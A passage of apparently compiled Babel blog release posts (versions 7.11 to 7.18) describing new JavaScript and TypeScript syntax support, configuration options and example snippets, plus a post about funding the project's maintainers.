type Processor<in out T> = (x: T) => T;
In this example, Provide<string>
is a subtype of Provider<string | number>
while Consumer<string | number>
is a subtype of Consumer<string>
.
constraints for the infer
operator in conditional types:
type GetColor<T> =
T extends { color: infer C extends "red" | "pink" }
? C
: "unknown color";
You can read the full TypeScript 4.7 release announcement on their blog.
regenerator-runtime
helper (#14538)Starting from Babel 7.18.0, regenerator-runtime
is automatically injected in the same way that Babel injects the other runtime helpers, without relying on an implicit regeneratorRuntime
global. When not using @babel/plugin-transform-runtime
, Babel will automatically inline the regeneratorRuntime
helper:
regenerator-runtime
(with import
, require
or <script>
);"regenerator-runtime"
from your dependencies in package.json
.For example this is the output difference between old and new Babel versions when compiling var f = function*() {};
:
+function _regeneratorRuntime() { /* ... */ }
-var f = /*#__PURE__*/regeneratorRuntime.mark(function f() {
+var f = /*#__PURE__*/_regeneratorRuntime().mark(function f() {
- return regeneratorRuntime.wrap(function f$(_context) {
+ return _regeneratorRuntime().wrap(function f$(_context) {
while (1) {
switch (_context.prev = _context.next) {
case 0:
case "end":
return _context.stop();
}
}
}, f);
});
After years of iterations, rewrites and adjustments it looks like the decorators proposal has finally stabilized again on a new design! This release includes both parse and transform support for the new proposal.
We also implemented the RegExp v
flag proposal and added parsing support for destructuring private fields, both currently Stage 2. Lastly, a new experimental implementation of @babel/register
.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective or GitHub Sponsors and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
After receiving feedback from JavaScript developers, engine developers and language experts, the decorators proposal was rewritten to take into account multiple constraints and desires. We collaborated with the current proposal author, @pzuraq to implement the new Stage 2 proposal in Babel.
The new implementation also supports decorating private class elements, as well as the new "class auto accessors" syntax:
@defineElement("button")
class Button {
@reactive accessor enabled = true; // class auto accessors
@event("onClick") #handleClick() { // decorator on a private method
console.log("clicked!");
}
}
You can enable the new proposal by passing the "version": "2021-12"
option to @babel/plugin-proposal-decorators
:
{
"plugins": [
["@babel/plugin-proposal-decorators", {
"version": "2021-12"
}]
]
}
While the new decorators syntax is compatible with the previous proposal, the semantics are different: decorators already written for Babel "legacy", Babel older-but-not-legacy, or TypeScript will not work with the new proposal.
If you want to help move the proposal forward, you can try using it and leave feedback in their GitHub repository.
Babel now supports the RegExp set notation and properties of strings proposal, which introduces three new regular expression features behind a new v
flag:
/[\p{Decimal_Number}--[0-9]]/v; // Non-ASCII decimal digits
/[\p{ASCII}&&\p{Letter}]/v; // ASCII letters
/[[\p{ASCII}&&\p{Letter}]\p{Number}]/v; // ASCII letters, or any digit
\p
escapes with multi-codepoint properties
"Did you see the 👩🏿❤️💋👩🏾 emoji?".match(/\p{RGI_Emoji}/v). // ["👩🏿❤️💋👩🏾"]
\q
escape
/[\r\n\q{\r\n|NEWLINE}]/v; // Matches \r, \n, \r\n or NEWLINE
You can enable this proposal using the @babel/plugin-proposal-unicode-sets-regex
plugin:
{
"plugins": ["@babel/plugin-proposal-unicode-sets-regex"]
}
Babel relies on different third-party packages to transform regular expressions: we are grateful to the maintainers of regjsparser, regjsgen and regexpu-core who took time to review our pull requests!
@@
and ^^
topic tokens for Hack-style pipes (#13973)We are continuing to help the proposal authors evaluate different tokens for the pipeline operator proposal: one of the champions, J. S. Choi, added support for two new tokens that you can try with the topicToken
option:
{
"plugins": [
["@babel/plugin-proposal-pipeline-operator", {
"proposal": "hack",
"topicToken": "^^" // or "@@"
}]
]
}
You can read more about the supported variations in the @babel/plugin-proposal-pipeline-operator
docs.
@babel/register
rewrite (#13782)We plan to release Babel 8 as an ESM package. However, this poses a big problem: how to load and run it synchronously in CommonJS packages?
Usually most Babel consumers can run Babel asynchronously, or at least load it asynchronously. This isn't true for @babel/eslint-parser
(which integrates Babel's parser with ESLint) and @babel/register
(which can be used to transpile Node.js files on-the-fly), where we need to move parsing and transforming to a separate worker.
Babel 7.16.0 exposes the new experimental @babel/register
implementation at @babel/register/experimental-worker
: it internally runs Babel asynchronously, so it's compatible with .mjs
configuration files and with .mjs
Babel plugins. It will be enabled by default in Babel 8, and you can already use it as a replacement for @babel/register
with a few caveats:
@babel/register
options (using require("@babel/register")({ /* ... options */ })
), you must make sure that they are serializable. This means that you cannot pass plugin functions defined inline, but you must move them to a separate ./my-plugin.js
file or to a babel.config.js
file.We already released the new experimental @babel/eslint-parser
implementation in Babel 7.15.0, exposed at @babel/eslint-parser/experimental-worker
.
This release enables class static initialization blocks by default. It includes support for a new variant of the pipeline operator proposal, as well as TypeScript 4.5 compatibility.
Furthermore, @babel/eslint-parser
now supports ESLint 8.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
class MyClass {
static {
doSomeInitialization(MyClass);
console.log("MyClass initialized!");
}
}
Static blocks, that reached Stage 4 in August, are now enabled by default in @babel/parser
and @babel/preset-env
.
If you were using the classStaticBlock
parser plugin, or @babel/plugin-syntax-class-static-block
, you can safely remove them from your config.
If you already use @babel/preset-env
, you can now remove @babel/plugin-proposal-class-static-block
from your config.
TypeScript 4.5 introduces a new syntax for marking imports as type-only: rather than marking the whole import statement, you can mark a single specifier:
// TypeScript 4.4
import type { Foo } from "my-module";
import { fooInstance } from "my-module";
// TypeScript 4.5
import { type Foo, fooInstance } from "my-module";
It also supports two new file extensions: .mts
and .cts
, that mirror .mjs
and .cjs
. When passing an .mts
or .cts
file to Babel with @babel/preset-typescript
enabled, it uses the file extension to detect the desired source type ("module"
or "script"
).
.mts
and .cts
file cannot contain JSX code by default, but they cannot contain TypeScript annotations that would be ambiguous with JSX (<Type> cast
and <T>() => {}
).
You can read the full TypeScript 4.5 release post on their blog.
^
topic token for Hack-style pipes (#13749)The champions of the pipeline operator proposal are considering various topic tokens (the reference to the value from the previous pipeline step).
@babel/plugin-proposal-pipeline-operator
(and the "pipelineOperator"
parser plugin) now support three of them: #
, ^
and %
.
let values = getNames()
|> ["default"].concat(^)
|> await loadValues(^);
You can enable the current version of the pipeline operator proposal using the proposal: "hack"
option, and you can choose the topic token using topicToken: "^"
:
{
"plugins": [
["@babel/plugin-proposal-pipeline-operator", {
"proposal": "hack",
"topicToken": "^"
}]
]
}
@babel/eslint-parser
(#13782)@babel/eslint-parser
now supports ESLint 8: you can update your "eslint"
dependency and it will just work.
If you are an ESLint plugin author, pay attention to the breaking change in the AST for class fields and private methods: when using ESLint 7 they follow the Babel AST shape; when using ESLint 8 they follow ESLint and the ESTree specification. This is because ESLint introduced support for these new class features starting from ESLint 8.
]]>const
enums and namespace aliases, and we expanded our heuristics to add .displayName
to React components created by React.createContext()
(#13501).
We also introduced a new compiler assumption, noIncompleteNsImportDetection
, to produce a smaller output when compiling ECMAScript modules to CommonJS without worrying about partially initialized namespace imports caused by module cycles.
Additionally, you can now specify Rhino as a compilation target.
You can read the whole changelog on GitHub.
We're really grateful for all the support the community has shown over the last months, since our funding post update in May. Reach out at team@babeljs.io if you'd like to discuss about sponsorships!
In the last two meetings, the top-level await
and ergonomic brand checks for private fields proposals reached Stage 4.
import * as db from "database";
await db.connect(); // top-level await
class DBConnector {
#password;
static isConnector(obj) {
return #password in obj; // ergonomic brand checks
}
}
Babel now supports them by default, so you can remove the following plugins from your configuration:
@babel/plugin-syntax-top-level-await
@babel/plugin-syntax-private-property-in-object
@babel/plugin-proposal-private-property-in-object
Please note that Babel can currently only parse top-level await
and cannot transform it.
TypeScript 4.4 doesn't include any new syntax that we had to implement, other than a minor restriction: you cannot specify the value of an abstract class field.
abstract class C {
abstract prop = 1; // now a SyntaxError!
}
However, we did add two TypeScript features that we have been missing for a long time: const
enums and namespace aliases (import Alias = Namespace
).
Previously we presented an error when using const
enums since it requires type information to compile correctly. As a workaround, the community built plugins such as babel-plugin-const-enum
. Babel now ignores the const
modifier when compiling enums, which matches TypeScript's behavior when using the --isolatedModules
option.
If you want a more optimized output similar to the default code produced by TypeScript, you can enable the optimizeConstEnums
option of @babel/plugin-tranform-typescript
or @babel/preset-typescript
.
// Input
const enum Animals { Dog }
console.log(Animals.Dog);
// Output (default)
var Animals;
(function (Animals) {
Animals[Animals["Dog"] = 0] = "Dog";
})(Animals || (Animals = {}));
console.log(Animals.Dog);
// Output with `optimizeConstEnums`
console.log(0);
"Hack-style pipelines" is a new flavor of the pipeline operator proposal, intended to replace the "smart mix" variant.
Hack-style pipelines require you to always use a "topic token" (such as #
) to reference the value of the previous pipeline step:
// Input
"World"
|> `Hello, ${#}!`
|> alert(#);
// output
var _ref, _ref2;
_ref2 = (_ref = "World", `Hello, ${_ref}!`), alert(_ref2);
You can test this proposal by enabling the proposal: "hack"
option in @babel/plugin-proposal-pipeline-operator
. You must also choose which topic token to use, between "#"
and "%"
:
{
"plugins": [
["@babel/plugin-proposal-pipeline-operator", {
"proposal": "hack",
"topicToken": "#"
}]
]
}
@babel/eslint-parser
for Babel 8 (#13398)We have been slowly continuing to work on Babel 8 in the past months. We are not ready for a Babel 8 beta release yet, but we are starting to expose the first experimental changes.
We plan to fully convert Babel from CommonJS to ECMAScript modules, but this has a problem: configuration loading will be asynchronous more often, and @babel/eslint-parser
can only work synchronously (because ESLint only supports synchronous parsers).
@babel/eslint-parser
7.15.0 exposes a new entry-point: @babel/eslint-parser/experimental-worker
. It moves the Babel config loading and parsing task to a separate worker which is managed synchronously from the main thread, while still supporting async configuration loading. As an immediate advantage for Babel 7, it allows using native ECMAScript modules for Babel configuration files even when using @babel/eslint-parser
.
You can help us by testing it now in your existing projects, and reporting any bug on our issues page:
// .eslintrc.js
module.exports = {
parser: "@babel/eslint-parser/experimental-worker"
};
This entry-point requires Node.js >= 12.3.0
In November 2019, after successfully paying Henry a salary for over a year, we expanded our goal to also support three additional maintainers: Jùnliàng, Kai, and Nicolò.
Part of the Babel team (Nicolò, Jùnliàng and Henry) is still being paid a salary to work on Babel, but we now need to make some adjustments in light of the donations we are currently receiving. This update is to talk about that and ask for further support from the community.
In 2018, Henry left his job to see if he could make a living working on open source and Babel, looking to people like Evan You as an example and for advice. He had already started work on getting more funding through the Open Collective that we had set up in 2017 to support the project and specifically our previous core team member Logan Smyth, but it was difficult to do so early on while working half-time.
After a few months, the fundraising efforts allowed paying Henry every month: we settled on $11,000 per month as a baseline salary for working full-time on open source. We had a large grant ($10k for 10 months) from Handshake which initially helped boost our funds, but even when it ended we didn't have problems paying our team thanks to some amazing sponsors such as Airbnb, Trivago, Gatsby, AMP, and Salesforce.
We didn't want to stop there. We thought that by demonstrating our ability to create and pay a strong team, more features and improvements (and in turn, value) would be delivered via Babel, which would continue the momentum of funding and sponsorship. We decided to start paying Jùnliàng, Nicolò and Kai a "part-time" rate: we could initially afford $2,000 USD per month. Our hope was by announcing this plan and continuing our fundraising efforts, we would be able to increase the budget and raise them to the full-time rate.
It has been more than a year since then and we've both done and learned a lot.
We've implemented support for many new ECMAScript proposals, kept up with every new TypeScript and Flow release, and designed new features to allow producing smaller compiled output. We are now nearing the next major release, Babel 8.
Babel continues to be used by thousands of companies all over the world. It's integrated into all kinds of frameworks in the JavaScript ecosystem, whether it's React, Next.js, Vue, Ember, Angular, etc. We are hitting over 117 million downloads/month. It powers custom plugins and optimizations in varied scenarios like CSS-in-JS, GraphQL, or localization across enormous code bases.
Babel also has become the intersection where practioners and language designers meet. We believe that it's become a vital part of the process used to test new ECMAscript proposals (hopefully, not with too many unstable proposals in production!). This creates the ability for JavaScript developers to try new features and give feedback to the TC39 committee and ultimately influence how the language evolves. Babel doesn't represent any individual company's interest but hopefully the JavaScript users eagerness to participate in new ideas. Even if you or your company don't directly use Babel, you can still directly benefit from how it can help standardizing language features.
Every project has unique funding propositions and problems. For Babel, people often don't directly interact with it: like most build tools, you set them up once at the beginning and then forget about them (until you find a bug, sometimes!).
You won't see job offers for a "Babel developer", even if most of the major JS frameworks are used with Babel. Additionally, with the growth of pre-configured frameworks such as Next.js that lift the responsibility of managing the underlying build tools from their users, it's not uncommon to use Babel without even knowing it. This makes it harder for our users to justify sponsoring us to their companies.
From the beginning, we knew we wouldn't have enough to pay anyone a full time salary, so Henry has been spending a lot of time attempting to get continued funding, giving talks at conferences and talking to companies. However, 2020 has negatively affected our funding, despite the tech industry's growth during this time. We lost some big sponsors, and Kai had to step down to get full-time work at another job.
We were hoping to see a continued increase in donations to be able to increase what Jùnliàng and Nicolò where taking, but it didn't happen.
Despite these funding difficulties, we still want to keep paying our core team, in order to continue improving Babel. We want to focus on making Babel easier to configure, more performant, and produce more optimized output. We want to continue implementing new proposals while also ensuring that existing features are rock solid. We want to be able to spend time on better documentation of not just Babel itself but JavaScript and language design, creating an environment where any developer can tinker with making their own syntax if they choose. There's a large scope not in terms of the code we write but opportunities to bring more people into the language design space for people who might not have ever considered it. We have also published a roadmap to better communicate our medium-term goals.
We strongly believe that working in open source should be a viable and sustainable career path. We should be bringing everyone up to the same level, not down. However, we need to face the fact that this would mean draining our current balance in just a few months.
Everyone taking smaller and smaller amounts ends up creating a false sense of sustainability. It lowers how we value our own work, and what sponsors perceive to be sustainable amount of funding.
The reality is that, without more funding, we risk not being able to maintain the high standard of support and development that Babel and its users deserve. We risk losing more team members, who deserve to make a decent living in line with their skill level. The open source ecosystem also risks under-supporting a critical and widely used piece of technology.
For now, Nicolò, Henry, and Jùnliàng will all be paid a temporary rate of $6,000 per month. This doesn't solve the problem, but it gives us time while increasing the initial temporary $2,000 USD salaries. The burn rate will still be more than the donations we currently receive each month, but our current balance allows us to sustain this amount until the end of 2021.
We'll do our best to balance all the priorities, while at reduced capacity due to being able to fund less of people's time and needing to spend some of that time finding new sponsors. Babel is not a company, a product, or service. And we have a small team, so we are the same people working on engineering and on funding. But it's a compromise we don't think we should have to make, considering the huge value that Babel delivers.
To fully fund the currently paid maintainers (but we would like to expand who is being paid, to include the whole core team), we need at least $333,000 per year, which is 2x what we're currently bringing in. Considering the amounts of money in the tech sector, this seems tiny in comparison—but it would make a big difference to Babel. Our story and stories like it make a big difference to the health and sustainability of the open source ecosystem overall.
So, our ask is to help fund our work, via Open Collective and GitHub Sponsors. Though individual contributions do matter (and we deeply appreciate them), we are really looking for more companies to step up and become corporate sponsors, alongside our current sponsors like AMP, Airbnb, Salesforce, GitPod, and others. If it would be better for your company to sustain us in other ways, we are also open to hearing any ideas. Reach out to us directly or by email at team@babeljs.io.
We intensely hope that we'll reach our goals: more and more companies use Babel to deliver their products, and what we are asking for is a tiny fraction of the value we provide. Babel is relied upon by a big part of the web, and it's in the interests of everyone to ensure that the project continues being maintained at the same quality levels as it is now.
]]>This release enables class fields and private methods by default (they were promoted to Stage 4 during the recent April TC39 meeting!) and adds brand checks for private fields and static class blocks to @babel/preset-env
's shippedProposals
option.
We added support for Stage 1 async do expressions (using @babel/plugin-proposal-async-do-expressions
), which extends the Stage 1 do expression proposal.
Thanks to Sosuke Suzuki and Pig Fang, Babel can now handle TypeScript 4.3 features. @babel/parser
also has a new option to correctly parse TypeScript declaration files.
Finally, we introduced a new importInterop: node
option to make it easier to produce dual modules by compiling ECMAScript imports to CommonJS that follow Node.js semantics.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
The class fields and private methods proposals just reached Stage 4 and will be officially included in ECMAScript 2022! This was more of a formality since the semantics were already finalized and they've already been implemented in all the major browsers.
You can read more details about this new syntax on MDN (public fields, private fields and methods).
class Check {
static className = "Check"; // static public class field
#value = 3; // # means private!
get #double() { // private getter
return this.#value * 2; // using a private field
}
}
Thus, you can remove @babel/plugin-proposal-class-properties
and @babel/plugin-proposal-private-methods
, since they are now enabled by default in @babel/preset-env
.
Webpack supports this syntax natively as of v5.36.0.
For older versions, a workaround that works with simpler Webpack setups is to manually enable the acorn-stage3
plugin, by installing acorn-stage3
and adding these lines at the beginning of your webpack.config.js
file:
// Require webpack's acorn dependency
const acorn = require(require.resolve("acorn", {
paths: [require.resolve("webpack")]
}));
// Enable the Stage 3 plugin
acorn.Parser = acorn.Parser.extend(require("acorn-stage3"));
If this doesn't work for you, or if you use a different tool that doesn't support class fields, you still need to use the Babel plugins to transform them.
If you are using @babel/preset-env
's shippedProposals
option, it now also includes the @babel/plugin-proposal-private-property-in-object
(introduced in 7.10) and @babel/plugin-proposal-class-static-block
(introduced in 7.12) plugins: you can safely remove them from your configuration.
class Foo {
#bar = "bar";
test(obj) {
return #bar in obj; // private-property-in-object
}
static #x = 42;
static y;
static { // static block
try {
this.y = doSomethingWith(this.#x);
} catch {
this.y = "unknown";
}
}
}
When importing a CommonJS file from an ECMAScript module, Node.js has different semantics than most of the tools in the JavaScript ecosystem.
Suppose that you are depending on the following library:
export default function two() {
return 2;
}
And the author of this library doesn't publish it as-is, but compiles it to CommonJS:
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.default = two;
function two() {
return 2;
}
When importing this library with Babel (or TypeScript, Rollup or similar tools) and compiling your code to CommonJS, it will look like:
import two from "two";
console.log(two());
One day, you decide to provide two versions of your code: a compiled CommonJS one, and one using native ECMAScript modules.
While the compiled version works, the ESM one will throw TypeError: two is not a function
. This is because in Node.js, the default import is not the dependency's exports.default
, but the whole module.exports
object instead.
You could change your code to:
import two from "two";
console.log(two.default());
However, this new code has a problem: it now doesn't work when compiled, because two.default
is not a function.
Babel v7.14.0 adds a new importInterop: "node"
option in the @babel/plugin-transform-modules-commonjs
plugin that allows import
statements to match the native Node.js behavior. You can read more about this option in the docs.
Nicolò from our team also contributed a similar option to @rollup/plugin-commonjs
, which will be out in the next release. Our goal is to help the ecosystem migrate to native ECMAScript modules by providing an easier migration path.
The new TypeScript version, which will be released as stable in May, supports a few new features:
override
modifiers in class elements[key: KeyType]: ValueType
) in classesget
/set
in type declarationsYou can read more about them in the TypeScript 4.3 release post. This is supported through @babel/preset-typescript.
async do
expressionsasync do
expressions are a Stage 1 proposal built on top of the do
expressions proposal.
They allow using asynchronous blocks within synchronous code, and those blocks are evaluated as a promise:
function sync() {
let x = async do {
let res = await Promise.resolve("Third!");
console.log("Second!");
res;
};
console.log("First!");
x.then(console.log);
}
console.log(sync());
// Logs:
// - "First!"
// - "Second!"
// - "Third!"
You can test this proposal (and report feedback!) by adding the @babel/plugin-proposal-do-expressions
and @babel/plugin-proposal-async-do-expressions
plugins to your Babel configuration.
These proposals are highly experimental. They can, and likely will continue to evolve. It could take years before they are standardized, and may even be rejected altogether. You are welcome to test them, but we do not recommend using them in production.
Do you have any comment or question? Discuss on GitHub!
]]>This release includes some important features to @babel/core
: a targets
option (similar to @babel/preset-env
's one) that can be shared across different plugins, an assumptions
option to precisely tune your configuration to produce a smaller compilation output, and support for plugins and presets written using native ECMAScript modules.
Babel now supports transforming the Records and Tuples ECMAScript proposal, which brings immutable data structures and structural equality to JavaScript, and parsing the Module Blocks proposal.
Additionally, we added support for some new Flow and TypeScript features.
You can read the full changelog on GitHub.
We have joined the "GitHub Sponsors for organizations" program, so you can now sponsor us directly through GitHub 😊.
These funds are used to support our team's (currently one full-time and three part-time maintainers) continued efforts in improving stability and developing new features.
Both our donations and expenses are openly tracked through our Open Collective page, where we will also track donations coming from GitHub Sponsors.
We welcome donations from both individual and companies. If your company is interested in becoming a Gold tier sponsor ($1k/month) and wants to discuss more, please reach out to team@babeljs.io!
targets
option (#12189, RFC)@babel/preset-env
's targets
option allows users to specify their target environments, automatically choosing which syntax to transform and what polyfills to inject. Since releasing @babel/preset-env
, we've learned that plugins themselves can also benefit from knowing your targets. Currently, this can a bit cumbersome, as you have to specify your targets twice (for example, if you are using our new polyfill plugins). By introducing targets
as a top level option, you now only have to specify your targets once:
Old configuration | New configuration |
---|---|
babel.config.json
| JSON
|
We recommended converting your Babel config to use the new top-level targets
option, as it has the following additional benefits:
esmodules: true
target. (it's intersected with the other targets, rather than replacing them)targets
-related support in our plugins, you'll automatically benefit from more optimized output!You can read the details about this new option in its RFC.
🔮 In the future we might explore moving
@babel/preset-env
into@babel/core
so that you don't have to install an additional package to get started with Babel. This new option can be seen as the first step in that direction!
assumptions
option (#12219, RFC)Many of our plugins have a loose
option, which tells Babel to generate smaller/faster output by making certain assumptions about your code and ignoring certain edge cases in the JavaScript spec.
However, loose
has some problems that lead to user confusion: the term itself does not help to describe how exactly it affects the compiler's behavior and, worse, sometimes requires setting configuration for multiple plugins to ensure everything compiles.
To help fix these problems, we've added a new top level option to tell Babel which assumptions it can make about your code: assumptions
! Similar to the new targets
option, every plugin will now receive the assumptions you've enabled, eliminating the need to set the option individually. This is really valuable since a plugin can be influenced by multiple assumptions, and an assumption can influence multiple plugins.
This is advanced functionality. Like the previous loose
option, please be careful when enabling assumptions, because they are not spec-compliant and may break your code in unexpected ways.
For example, when transforming classes, Babel will generate this output by default:
Input | Output |
---|---|
JavaScript
| JavaScript
|
However, enabling the noClassCalls
assumption tells Babel "I'm never trying to call classes without new
, so you can compile without worrying about it":
{
"targets": "firefox 30",
"assumptions": { "noClassCalls": true },
"presets": ["@babel/preset-env"]
}
Input | Output |
---|---|
JavaScript
| JavaScript
|
Check out the full list of assumptions over in our documentation, where you can individually enable or disable them to see how they affect the compiled output.
Thanks to a collaboration with Bloomberg, Babel now supports transforming the "Records and Tuples" stage 2 proposal.
The Babel plugin transforms records and tuples syntax using the global Record
and Tuple
functions:
Input | Output |
---|---|
JavaScript
| JavaScript
|
This means that you will need to load a polyfill for those global functions, such as @bloomberg/record-tuple-polyfill
, either by importing it in your code or with a <script>
tag:
<script src="https://unpkg.com/@bloomberg/record-tuple-polyfill@0.0.3/lib/index.umd.js" />
NOTE: No engine currently supports records and tuples, so you always need to load the polyfill.
In order to enable this transform, you need to add @babel/plugin-proposal-record-and-tuple
to your configuration.
Babel 7.13.0 has support for two new Flow features:
this
type annotation in functions, that allow you to specify the type of the this
object as if it was a parameter
function getPerson(this: Database, id: string): Person {
this instanceof Database; // true
}
enum
declarations with unknown members
enum PetKind {
Dog,
Cat,
Snake,
...
}
TypeScript 4.2 supports some new syntax features such as abstract constructor signatures.
You can read more about the changes in the TypeScript release post.
@babel/runtime
(#12632)@babel/runtime
contains all of the Babel runtime helpers in both CommonJS and ECMAScript module formats.
Until now, you had to manually choose which one you wanted to use, specifying the useESModules
option of @babel/plugin-transform-runtime
.
We have now reorganized @babel/runtime
's internal structure, leveraging the new "exports"
package.json
field supported by Node.js and bundlers, so that they are able to automatically choose between CJS and ESM.
For this reason, the useESModules
option is now deprecated and will be removed in Babel 8.
This release includes support for the new TypeScript 4.1 beta features: template literal types and key remapping in mapped types.
Additionally, we implemented two new ECMAScript proposals: class static blocks and imports and exports with string names.
Lastly, we renamed @babel/plugin-syntax-module-attributes
(and the corresponding parser plugin moduleAttributes
) to @babel/plugin-syntax-import-assertions
(and importAssertions
), to match the recent proposal updates. The old plugin will work until Babel 8, but it's deprecated now.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
TypeScript 4.1 beta was announced a few weeks ago, and it includes new syntax features for types.
Template literal types allow concatenating strings at the type-level, using the template literal syntax:
type Events = "Click" | "Focus";
type Handler = {
[K in `on${Events}`]: Function
};
const handler: Handler = {
onClick() {}, // Ok
onFocus() {}, // Ok
onHover() {}, // Error!
};
Together with key remapping in mapped types, they can be used to represent complex object transformations:
type Getters<T> = {
[K in keyof T as `get${Capitalize<K>}`]: () => T[K]
};
interface Dog { name: string; age: number; }
const lazyDog: Getters<Dog> = /* ... */;
lazyDog.getName(); // string
lazyDog.age; // error!
You can read more about TypeScript 4.1 in the release announcement, or check other examples of what capabilities these new features unlock. However, remember that TypeScript 4.1 is still experimental!
class C {
static #x = 42;
static y;
static {
try {
this.y = doSomethingWith(this.#x);
} catch {
this.y = "unknown";
}
}
}
This stage 2 proposal allows you to apply additional static initializations when a class definition is evaluated. It is not intended to replace static fields but to enable new use cases that could not be accomplished before. In the example above, the static property y
is initialized using #x
. If doSomethingWith(this.#x)
throws, y
will be assigned by a default value "unknown"
.
You can read more about it in the proposal's description.
Thanks to Jùnliàng, you can test this proposal by installing
the @babel/plugin-proposal-class-static-block
plugin and adding it to your Babel config. Since it is likely you're already using other class feature plugins, be sure to place this plugin before the others:
{
"plugins": [
"@babel/plugin-proposal-class-static-block",
"@babel/plugin-proposal-class-properties"
]
}
Consensus was achieved during the last TC39 meeting with a PR to allow strings as the name of imported and exported variables:
// emojis.js
let happy = "wooo!";
export { happy as "😃" };
// main.js
import { "😃" as smile } from "./emojis.js";
console.log(smile); // wooo!
This allows using any valid UTF-16 name across modules, making JavaScript fully compatible with other languages such as WebAssembly.
You can enable parsing support for this feature by adding @babel/plugin-syntax-module-string-names
to your configuration:
{
"presets:" ["@babel/preset-env"],
"plugins": [
"@babel/syntax-module-string-names"
]
}
This feature will be enabled by default as soon as the syntax is merged into the main ECMAScript specification.
Please note that it's not possible to transpile arbitrary strings to ES2015-style imports and exports: they will only be transpiled when targeting a different modules system such as CommonJS.
The "module attributes" proposal has been significantly changed and also renamed to "import assertions".
We've implemented parsing support for this new version of the proposal, which can be enabled using the @babel/plugin-syntax-import-assertions
plugin (or, if you are directly using @babel/parser
, importAssertions
):
{
"plugins": [
- ["@babel/syntax-module-attributes", { "version": "may-2020" }]
+ "@babel/syntax-import-assertions"
]
}
The most significant syntax changes are that the with
keyword has been replaced with assert
and assertions are now wrapped in curly braces:
import json from "./foo.json" assert { type: "json" };
import("foo.json", { assert: { type: "json" } });
You can read more about these changes in the proposal's README.
@babel/plugin-syntax-module-attributes
will continue working until we release Babel 8.0.0, but will no longer be maintained, so we highly recommended migrating to the new plugin.
This 7.11 release includes:
preset-env
support for Logical Assignments (??=
), Numeric Separators (1_2
) and Namespace re-exports (export * as ns from ...
)7.11m
)BABEL_SHOW_CONFIG_FOR
)In addition to this, we are now releasing the successor of babel-eslint
: @babel/eslint-parser
!
You can read the whole changelog on GitHub.
Also if you have any questions or something you want to discuss, we've enabled GitHub Discussions on our repository!
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
During the last meeting, TC39 moved both the logical assignment and numeric separator proposals to Stage 4! Babel already had support these proposals via the @babel/plugin-proposal-logical-assignment-operators
and @babel/plugin-proposal-numeric-separators
plugins. They are now included in @babel/preset-env
and compiled based on your targets, like any other ECMAScript feature.
Logical assignment offers a shorthand notation combining logical operators and assignment expression:
this.disabled ??= false;
this.disabled ?? (this.disabled = false);
clicked &&= !isDoubleClicked();
clicked = clicked && !isDoubleClicked();
hasDups ||= (prev === cur);
if (!hasDup) hasDups = (prev === cur);
The numeric separator (_
) is a character you can insert between digits in numeric literals to help with visual separation:
1_000_000_000
0.000_000_000_1
An imported module can be re-exported as a new namespace:
export * as ns from "mod";
This was already included in ECMAScript 2020, but it wasn't supported by @babel/preset-env
yet.
Since version 7.11, @babel/preset-env
skips @babel/plugin-proposal-export-namespace-from
if the caller
supports it: this can leave export * as ns
as-is to be directly processed by the bundlers. Note: babel-loader
and @rollup/plugin-babel
don't yet tell Babel they supports this syntax, but we are working on it with the relevant maintainers.
If { modules: false }
is set, Babel will assume that the transpiled code will be run in engines that have native ESM support. export * as ns
will be compiled based on targets
, like any other ECMAScript feature.
If you intend to bundle the transpiled code, please remove { modules: false }
option. By default preset-env
will determine the module transforms from caller
data passed from babel-loader
and @rollup/plugin-babel
.
{
"presets": [
["@babel/env", {
"targets": ["defaults"],
- "modules": false,
}]
}
If you provide a different value for the modules
option, export * as ns
will always be transformed.
If you were directly using any of
@babel/plugin-proposal-export-namespace-from
@babel/plugin-proposal-logical-assignment-operators
@babel/plugin-proposal-numeric-separators
you can remove them from your config as they will be included by default:
{
"presets": [
["@babel/env", { "targets": ["defaults"] }]
],
"plugins": [
- "@babel/plugin-proposal-export-namespace-from",
- "@babel/plugin-proposal-logical-assignment-operators",
- "@babel/plugin-proposal-numeric-separators"
]
}
TypeScript 4.0 introduces several new features.
You can now specify generic spreads in tuple types, and the spreads can be at any location:
type Arr = readonly any[];
function collect<L extends Arr, M extends Arr>(b: boolean, l: L, m: M): [boolean, ...L, ...M] {
return [b, ...l, ...m];
}
Tuple elements can now be labeled:
type Log = [failed: boolean, reason?: Error, ...stacks?: string[]]
// same as
type Log = [boolean, Error?, string[]?];
unknown
on catch
Clause BindingsYou can specify unknown
type of catch
clause variables:
try {
// ...
} catch (e: unknown) {
// type error! Error() only accepts string | undefined
throw new Error(e);
if (typeof e === "string") {
// e is a string
throw new Error(e);
}
}
Note that only unknown
and any
are currently allowed in catch binding type annotations. @babel/parser
does not enforce this check because neither type aliases (type ANY = any
) nor intersections (any | unknown
) are not evaluated at compile-time.
Starting from Babel 7.11, you can use these new features without any config changes. For more information, please checkout TypeScript 4.0 Announcement.
The Decimal Literal Proposal (Stage 1) provides a notation for decimal numbers, analogous to BigInt and integers.
0.1m + 0.2m === 0.3m; // true
